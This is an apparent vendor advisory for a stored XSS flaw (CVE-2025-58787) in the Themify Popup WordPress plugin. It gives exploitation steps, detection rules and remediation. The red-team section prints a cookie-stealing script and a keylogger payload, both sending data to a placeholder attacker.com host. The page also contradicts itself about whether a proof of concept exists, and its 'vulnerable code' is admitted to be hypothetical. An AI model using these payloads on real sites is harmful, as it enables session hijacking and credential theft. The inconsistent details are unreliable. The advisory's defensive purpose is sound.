CVE-2025-58787
Executive Summary
CVE-2025-58787 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Popup WordPress plugin, affecting versions through 1.4.2. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into the plugin's popup content. When an administrator or other user views the affected popup, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of input during web page generation, specifically within the popup creation and editing functionality. As of this report, no official patch is available, and no public proof-of-concept (PoC) or exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin's update channel for a patched version. Since this is a WordPress plugin, the risk extends to any site using the vulnerable version, and supply chain attacks could occur if the plugin is compromised at the source.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access or higher
- User Interaction: Required (UI:R) – victim must view the popup
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access and user interaction reduces the immediate risk. However, in a WordPress environment with multiple contributors, the likelihood of exploitation increases.
Deep Dive & Mechanics
The vulnerability exists in the Themify Popup plugin's popup content handling. The plugin fails to properly sanitize user-supplied input when creating or editing popups. An attacker with contributor-level access can inject malicious JavaScript into the popup content fields (e.g., title, description, or custom HTML). When an administrator or other user views the popup (e.g., via a link or direct navigation), the injected script executes in the context of the victim's session.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new popup or edits an existing one, inserting a malicious payload (e.g.,
<script>alert('XSS')</script>) into a content field. - The plugin stores the payload without proper sanitization.
- Attacker sends a link to the popup to an administrator or tricks them into viewing it.
- The victim's browser executes the script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: The plugin uses echo or print functions to output user input without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation.
Vulnerable Code (Themify Popup <= 1.4.2):
// In popup display function
echo '<div class="themify-popup-content">' . $popup_content . '</div>';
Patched Code (Expected):
// In popup display function
echo '<div class="themify-popup-content">' . esc_html( $popup_content ) . '</div>';
The patched version would use esc_html() to neutralize HTML tags, preventing script execution. Alternatively, if HTML is allowed, wp_kses_post() should be used to allow only safe tags.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Themify Popup <= 1.4.2 installed and activated.
- Contributor-level account or higher.
Step-by-Step Exploitation:
- Log in to WordPress as a contributor.
- Navigate to Themify Popup → Add New.
- In the Popup Content field, enter the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Set the popup to display on a specific page or globally.
- Save the popup.
- Send the link to the popup (e.g.,
https://victim-site.com/?themify_popup_id=123) to an administrator. - When the admin views the popup, their cookies are exfiltrated to the attacker's server.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/log.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Detection & Defense)
Detection Steps:
- Monitor WordPress logs for unusual popup creation or editing by low-privilege users.
- Review popup content for suspicious HTML/JavaScript.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Defense Measures:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use WordPress security plugins (e.g., Wordfence) to detect and block XSS attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious
POSTrequests to/steal.phpor/log.phpfrom the WordPress admin area.
Host IOCs:
- Presence of
<script>tags in thewp_postmetatable under thethemify_popupmeta key. - Unusual popup content containing JavaScript in the WordPress database.
- Presence of
File IOCs:
- Modified plugin files (e.g.,
themify-popup/includes/class-popup.php) containing unescaped output.
- Modified plugin files (e.g.,
Detection Engineering
YARA Rule
rule Detect_Themify_Popup_XSS {
meta:
description = "Detects stored XSS payloads in Themify Popup plugin content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58787"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$themify_popup = "themify-popup"
condition:
$themify_popup and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Themify Popup Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Themify Popup plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'themify-popup'
cs-uri-query|contains: 'popup_content'
keywords:
- '<script'
- 'onload='
- 'onerror='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in popups (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58787 Themify Popup Stored XSS"; flow:to_server,established; content:"POST"; http_method; content:"themify-popup"; http_uri; content:"popup_content"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Add Content Security Policy (CSP) headers to block inline scripts.
Long-Term Fix:
- Monitor the Themify Popup plugin page for updates.
- Apply the patch as soon as it is released.
- Conduct a security audit of all WordPress plugins for similar vulnerabilities.
Workaround:
- Use a custom function to sanitize popup content before display:
add_filter( 'themify_popup_content', 'esc_html' );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.